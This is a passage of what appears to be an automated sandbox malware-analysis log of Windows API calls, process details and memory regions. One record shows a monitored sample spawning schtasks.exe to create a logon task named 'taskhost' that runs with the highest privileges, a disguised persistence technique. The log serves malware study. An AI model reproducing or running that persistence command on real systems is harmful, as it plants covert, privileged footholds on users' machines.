RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435a20) returned 0x20 [0143.040] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435a20 | out: hHeap=0x420000) returned 1 [0143.040] GetProcessHeap () returned 0x420000 [0143.040] GetProcessHeap () returned 0x420000 [0143.040] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435a50) returned 1 [0143.040] GetProcessHeap () returned 0x420000 [0143.040] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435a50) returned 0x20 [0143.040] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435a50 | out: hHeap=0x420000) returned 1 [0143.040] GetProcessHeap () returned 0x420000 [0143.040] GetProcessHeap () returned 0x420000 [0143.040] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435a80) returned 1 [0143.040] GetProcessHeap () returned 0x420000 [0143.040] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435a80) returned 0x20 [0143.041] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435a80 | out: hHeap=0x420000) returned 1 [0143.041] GetProcessHeap () returned 0x420000 [0143.041] GetProcessHeap () returned 0x420000 [0143.041] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43ba10) returned 1 [0143.041] GetProcessHeap () returned 0x420000 [0143.041] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43ba10) returned 0x18 [0143.041] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43ba10 | out: hHeap=0x420000) returned 1 [0143.041] GetProcessHeap () returned 0x420000 [0143.041] GetProcessHeap () returned 0x420000 [0143.041] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435ab0) returned 1 [0143.041] GetProcessHeap () returned 0x420000 [0143.041] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435ab0) returned 0x20 [0143.041] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435ab0 | out: hHeap=0x420000) returned 1 [0143.041] GetProcessHeap () returned 0x420000 [0143.041] GetProcessHeap () returned 0x420000 [0143.041] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435b40) returned 1 [0143.041] GetProcessHeap () returned 0x420000 [0143.042] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435b40) returned 0x20 [0143.042] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435b40 | out: hHeap=0x420000) returned 1 [0143.042] GetProcessHeap () returned 0x420000 [0143.042] GetProcessHeap () returned 0x420000 [0143.042] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435ba0) returned 1 [0143.042] GetProcessHeap () returned 0x420000 [0143.042] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435ba0) returned 0x20 [0143.042] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435ba0 | out: hHeap=0x420000) returned 1 [0143.042] GetProcessHeap () returned 0x420000 [0143.042] GetProcessHeap () returned 0x420000 [0143.042] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435c00) returned 1 [0143.042] GetProcessHeap () returned 0x420000 [0143.042] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435c00) returned 0x20 [0143.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435c00 | out: hHeap=0x420000) returned 1 [0143.043] GetProcessHeap () returned 0x420000 [0143.043] GetProcessHeap () returned 0x420000 [0143.043] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435c30) returned 1 [0143.043] GetProcessHeap () returned 0x420000 [0143.043] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435c30) returned 0x20 [0143.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435c30 | out: hHeap=0x420000) returned 1 [0143.043] GetProcessHeap () returned 0x420000 [0143.043] GetProcessHeap () returned 0x420000 [0143.043] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43ba30) returned 1 [0143.043] GetProcessHeap () returned 0x420000 [0143.043] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43ba30) returned 0x18 [0143.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43ba30 | out: hHeap=0x420000) returned 1 [0143.044] GetProcessHeap () returned 0x420000 [0143.044] GetProcessHeap () returned 0x420000 [0143.044] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435b70) returned 1 [0143.044] GetProcessHeap () returned 0x420000 [0143.044] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435b70) returned 0x20 [0143.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435b70 | out: hHeap=0x420000) returned 1 [0143.044] GetProcessHeap () returned 0x420000 [0143.044] GetProcessHeap () returned 0x420000 [0143.044] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43b9b0) returned 1 [0143.044] GetProcessHeap () returned 0x420000 [0143.044] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43b9b0) returned 0x18 [0143.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43b9b0 | out: hHeap=0x420000) returned 1 [0143.044] exit (_Code=0) Thread: id = 153 os_tid = 0xfec Process: id = "33" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x40ed5000" os_pid = "0xfe4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"taskhost\" /sc ONLOGON /tr \"'C:\\Program Files\\Reference Assemblies\\taskhost.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3007 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3008 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3009 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3010 start_va = 0x160000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3011 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3012 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3013 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3014 start_va = 0xfff90000 end_va = 0xfffd7fff monitored = 1 entry_point = 0xfffb966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3015 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3016 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3017 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3018 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 3019 start_va = 0x1e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3020 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3021 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3022 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3023 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3024 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3025 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3026 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3027 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3028 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3029 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3030 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3031 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3032 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3033 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3034 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3035 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3036 start_va = 0x3f0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3037 start_va = 0x1e0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3038 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 3039 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3040 start_va = 0x3f0000 end_va = 0x577fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3041 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 3042 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3043 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3044 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3045 start_va = 0x5b0000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 3046 start_va = 0x740000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 3047 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3056 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3057 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3058 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3059 start_va = 0x1b40000 end_va = 0x1e0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3061 start_va = 0x1e10000 end_va = 0x1e8cfff monitored = 0 entry_point = 0x1e1cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3062 start_va = 0x1e10000 end_va = 0x1e8cfff monitored = 0 entry_point = 0x1e1cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3063 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3064 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3065 start_va = 0x1e10000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 3066 start_va = 0x1e10000 end_va = 0x1eeefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e10000" filename = "" Region: id = 3067 start_va = 0x1f30000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 3068 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3069 start_va = 0x21a0000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 3070 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3071 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3072 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3073 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3074 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3075 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3076 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3079 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 152 os_tid = 0xfe8 [0142.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1dfda0 | out: lpSystemTimeAsFileTime=0x1dfda0*(dwLowDateTime=0x239111a0, dwHighDateTime=0x1d8a92a)) [0142.791] GetCurrentProcessId () returned 0xfe4 [0142.791] GetCurrentThreadId () returned 0xfe8 [0142.791] GetTickCount () returned 0x1388dc4 [0142.792] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1dfda8 | out: lpPerformanceCount=0x1dfda8*=2062165490604) returned 1 [0142.792] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000 [0142.792] __set_app_type (_Type=0x1) [0142.792] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb972c) returned 0x0 [0142.792] __wgetmainargs (in: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248, _DoWildCard=0, _StartInfo=0xfffd125c | out: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248) returned 0 [0142.793] _onexit (_Func=0xfffc2ab0) returned 0xfffc2ab0 [0142.793] _onexit (_Func=0xfffc2ac4) returned 0xfffc2ac4 [0142.793] _onexit (_Func=0xfffc2afc) returned 0xfffc2afc [0142.793] _onexit (_Func=0xfffc2b58) returned 0xfffc2b58 [0142.794] _onexit (_Func=0xfffc2b80) returned 0xfffc2b80 [0142.794] _onexit (_Func=0xfffc2ba8) returned 0xfffc2ba8 [0142.794] _onexit (_Func=0xfffc2bd0) returned 0xfffc2bd0 [0142.794] _onexit (_Func=0xfffc2bf8) returned 0xfffc2bf8 [0142.794] _onexit (_Func=0xfffc2c20) returned 0xfffc2c20 [0142.794] _onexit (_Func=0xfffc2c48) returned 0xfffc2c48 [0142.794] _onexit (_Func=0xfffc2c70) returned 0xfffc2c70 [0142.794] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0142.794] WinSqmIsOptedIn () returned 0x0 [0142.795] GetProcessHeap () returned 0x2f0000 [0142.795] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b9b0 [0142.795] SetLastError (dwErrCode=0x0) [0142.796] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0142.796] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0142.796] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0142.796] VerifyVersionInfoW (in: lpVersionInformation=0x1df560, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1df560) returned 1 [0142.796] GetProcessHeap () returned 0x2f0000 [0142.796] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b9d0 [0142.796] lstrlenW (lpString="") returned 0 [0142.796] GetProcessHeap () returned 0x2f0000 [0142.796] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x2) returned 0x30b9f0 [0142.796] GetProcessHeap () returned 0x2f0000 [0142.796] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305950 [0142.796] GetProcessHeap () returned 0x2f0000 [0142.796] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba10 [0142.796] GetProcessHeap () returned 0x2f0000 [0142.796] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305980 [0142.796] GetProcessHeap () returned 0x2f0000 [0142.796] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x3059b0 [0142.796] GetProcessHeap () returned 0x2f0000 [0142.796] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x3059e0 [0142.796] GetProcessHeap () returned 0x2f0000 [0142.796] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305a10 [0142.796] GetProcessHeap () returned 0x2f0000 [0142.796] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba30 [0142.796] GetProcessHeap () returned 0x2f0000 [0142.796] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305a40 [0142.796] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305a70 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305aa0 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305ad0 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba50 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b00 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b30 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b60 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b90 [0142.797] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0142.797] SetLastError (dwErrCode=0x0) [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305bc0 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305bf0 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305c20 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305c50 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305c80 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba70 [0142.797] _memicmp (_Buf1=0x30ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.797] GetProcessHeap () returned 0x2f0000 [0142.797] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x208) returned 0x30bc10 [0142.798] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30bc10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0142.798] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0142.800] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0142.800] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0142.801] GetProcessHeap () returned 0x2f0000 [0142.801] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x74e) returned 0x30c1c0 [0142.801] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0142.801] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x30c1c0 | out: lpData=0x30c1c0) returned 1 [0142.802] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0142.802] VerQueryValueW (in: pBlock=0x30c1c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1df648, puLen=0x1df6b0 | out: lplpBuffer=0x1df648*=0x30c55c, puLen=0x1df6b0) returned 1 [0142.804] _memicmp (_Buf1=0x30ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.804] _vsnwprintf (in: _Buffer=0x30bc10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1df628 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0142.804] VerQueryValueW (in: pBlock=0x30c1c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1df6b8, puLen=0x1df6a8 | out: lplpBuffer=0x1df6b8*=0x30c388, puLen=0x1df6a8) returned 1 [0142.804] lstrlenW (lpString="schtasks.exe") returned 12 [0142.804] lstrlenW (lpString="schtasks.exe") returned 12 [0142.804] lstrlenW (lpString=".EXE") returned 4 [0142.804] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0142.832] lstrlenW (lpString="schtasks.exe") returned 12 [0142.832] lstrlenW (lpString=".EXE") returned 4 [0142.833] _memicmp (_Buf1=0x30ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.833] lstrlenW (lpString="schtasks") returned 8 [0142.833] GetProcessHeap () returned 0x2f0000 [0142.833] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305d70 [0142.833] GetProcessHeap () returned 0x2f0000 [0142.833] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cad0 [0142.833] GetProcessHeap () returned 0x2f0000 [0142.833] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cb00 [0142.834] GetProcessHeap () returned 0x2f0000 [0142.834] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cb30 [0142.834] GetProcessHeap () 